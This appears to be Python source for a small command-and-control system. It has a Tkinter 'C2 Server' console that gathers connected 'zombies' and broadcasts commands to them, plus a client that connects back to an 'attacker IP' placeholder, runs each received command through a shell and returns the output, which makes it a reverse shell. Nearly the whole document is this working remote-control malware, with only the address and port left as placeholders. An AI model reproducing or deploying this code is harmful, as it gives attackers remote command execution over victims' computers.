import tkinter as tk
from tkinter import scrolledtext, messagebox, ttk
import socket
import threading
from datetime import datetime

class CyberTerminal:
    def __init__(self, root):
        self.root = root
        self.root.title("C2 Server v1.337")
        self.root.configure(bg='black')
        self.setup_cyber_ui()
        self.server_socket = None
        self.running = False
        self.clients = {}
        self.cmd_history = []
        self.history_index = -1

    def setup_cyber_ui(self):
        # 主框架
        main_frame = tk.Frame(self.root, bg='black')
        main_frame.pack(fill=tk.BOTH, expand=True)

        # 控制台区域
        self.console = scrolledtext.ScrolledText(
            main_frame,
            width=90,
            height=25,
            bg='black',
            fg='#00ff00',
            insertbackground='lime',
            font=('Courier New', 10)
        )
        self.console.pack(pady=(10,5), padx=10, fill=tk.BOTH, expand=True)

        # 状态栏
        self.status_bar = tk.Label(
            main_frame,
            text="[STATUS] OFFLINE | 0 CONNECTIONS",
            bd=1,
            relief=tk.SUNKEN,
            anchor=tk.W,
            bg='black',
            fg='red',
            font=('Terminal', 8)
        )
        self.status_bar.pack(fill=tk.X, padx=5, pady=5)

        # 控制面板
        control_frame = tk.Frame(main_frame, bg='black')
        control_frame.pack(fill=tk.X, padx=10, pady=5)

        # 服务器控制按钮
        self.start_btn = tk.Button(
            control_frame,
            text="[+] START SERVER",
            command=self.start_server,
            bg='#003300',
            fg='lime',
            activebackground='#002200',
            activeforeground='white',
            relief=tk.RAISED,
            font=('Fixedsys', 10)
        )
        self.start_btn.pack(side=tk.LEFT, padx=5)

        self.stop_btn = tk.Button(
            control_frame,
            text="[X] KILL SERVER",
            command=self.stop_server,
            state=tk.DISABLED,
            bg='#330000',
            fg='red',
            activebackground='#220000',
            activeforeground='white',
            relief=tk.RAISED,
            font=('Fixedsys', 10)
        )
        self.stop_btn.pack(side=tk.LEFT, padx=5)

        # 命令输入区域
        cmd_frame = tk.Frame(main_frame, bg='black')
        cmd_frame.pack(fill=tk.X, padx=10, pady=(5,10))

        tk.Label(
            cmd_frame,
            text="ROOT@C2#",
            bg='black',
            fg='lime',
            font=('Fixedsys', 12)
        ).pack(side=tk.LEFT)

        self.cmd_entry = tk.Entry(
            cmd_frame,
            width=70,
            bg='#111111',
            fg='lime',
            insertbackground='lime',
            relief=tk.SUNKEN,
            font=('Courier New', 10)
        )
        self.cmd_entry.pack(side=tk.LEFT, padx=5)
        self.cmd_entry.bind('<Return>', lambda e: self.send_command())
        self.cmd_entry.bind('<Up>', self.history_up)
        self.cmd_entry.bind('<Down>', self.history_down)

        self.send_btn = tk.Button(
            cmd_frame,
            text="EXECUTE",
            command=self.send_command,
            bg='#111111',
            fg='lime',
            activebackground='#222222',
            activeforeground='white',
            relief=tk.RAISED,
            font=('Fixedsys', 9)
        )
        self.send_btn.pack(side=tk.LEFT)

    def log_message(self, msg, msg_type="INFO"):
        colors = {
            "INFO": "#00ff00",
            "WARN": "#ffff00",
            "ERROR": "#ff0000",
            "SUCCESS": "#00ccff"
        }
        timestamp = datetime.now().strftime("%H:%M:%S")
        self.console.tag_config(msg_type, foreground=colors.get(msg_type, "#00ff00"))
        self.console.insert(tk.END, f"[{timestamp}] ", "INFO")
        self.console.insert(tk.END, f"{msg}\n", msg_type)
        self.console.see(tk.END)
        self.update_status()

    def update_status(self):
        status = "ONLINE" if self.running else "OFFLINE"
        color = "lime" if self.running else "red"
        self.status_bar.config(
            text=f"[STATUS] {status} | {len(self.clients)} CONNECTIONS",
            fg=color
        )

    def history_up(self, event):
        if self.cmd_history and self.history_index < len(self.cmd_history)-1:
            self.history_index += 1
            self.cmd_entry.delete(0, tk.END)
            self.cmd_entry.insert(0, self.cmd_history[-(self.history_index+1)])

    def history_down(self, event):
        if self.history_index > 0:
            self.history_index -= 1
            self.cmd_entry.delete(0, tk.END)
            self.cmd_entry.insert(0, self.cmd_history[-(self.history_index+1)])
        elif self.history_index == 0:
            self.history_index = -1
            self.cmd_entry.delete(0, tk.END)

    def start_server(self):
        try:
            self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.server_socket.bind(('监听IP（建议设为0.0.0.0或localhost）', 监听端口))
            self.server_socket.listen(5)
            self.running = True
            threading.Thread(target=self.accept_clients, daemon=True).start()
            self.start_btn.config(state=tk.DISABLED)
            self.stop_btn.config(state=tk.NORMAL)
            self.log_message("C2 SERVER ACTIVATED ON PORT 5555", "SUCCESS")
        except Exception as e:
            self.log_message(f"INIT FAILURE: {str(e)}", "ERROR")

    def accept_clients(self):
        while self.running:
            try:
                conn, addr = self.server_socket.accept()
                client_id = f"{addr[0]}:{addr[1]}"
                self.clients[client_id] = conn
                self.log_message(f"NEW ZOMBIE ONLINE: {client_id}", "SUCCESS")
                threading.Thread(
                    target=self.handle_client,
                    args=(conn, client_id),
                    daemon=True
                ).start()
            except:
                break

    def handle_client(self, conn, client_id):
        try:
            while self.running:
                data = conn.recv(1024)
                if not data:
                    break
                response = data.decode(errors='replace')
                self.log_message(f"RESPONSE [{client_id}]:\n{response}", "INFO")
        except:
            pass
        finally:
            conn.close()
            if client_id in self.clients:
                del self.clients[client_id]
            self.log_message(f"ZOMBIE OFFLINE: {client_id}", "WARN")

    def send_command(self):
        cmd = self.cmd_entry.get()
        if not cmd:
            return

        self.cmd_history.append(cmd)
        self.history_index = -1
        self.cmd_entry.delete(0, tk.END)
        self.log_message(f"DEPLOYING PAYLOAD: {cmd}", "INFO")

        dead_clients = []
        for client_id, conn in self.clients.items():
            try:
                conn.sendall(cmd.encode())
            except:
                dead_clients.append(client_id)

        for client_id in dead_clients:
            del self.clients[client_id]
            self.log_message(f"CLEANING DEAD ZOMBIE: {client_id}", "WARN")

    def stop_server(self):
        self.running = False
        for client_id, conn in self.clients.items():
            try:
                conn.sendall(b'exit')
                conn.close()
            except:
                pass
        self.clients.clear()

        if self.server_socket:
            self.server_socket.close()

        self.start_btn.config(state=tk.NORMAL)
        self.stop_btn.config(state=tk.DISABLED)
        self.log_message("C2 SERVER TERMINATED", "ERROR")

if __name__ == "__main__":
    root = tk.Tk()
    root.geometry("900x600")
    app = CyberTerminal(root)
    root.mainloop()

import socket
import subprocess
import os

def execute_command(cmd):
    try:
        result = subprocess.check_output(
            cmd,
            shell=True,
            stderr=subprocess.STDOUT,
            universal_newlines=True
        )
        return result
    except subprocess.CalledProcessError as e:
        return e.output

def start_client():
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect(('攻击机IP', 攻击机设置端口))
        while True:
            cmd = s.recv(1024).decode()
            print(cmd)
            if cmd.lower() == 'exit':
                break
            result = execute_command(cmd)
            print(result)
            s.sendall(result.encode())

if __name__ == '__main__':
    os.system('title 远程控制客户端')
    print("客户端已连接，等待指令...")
    start_client()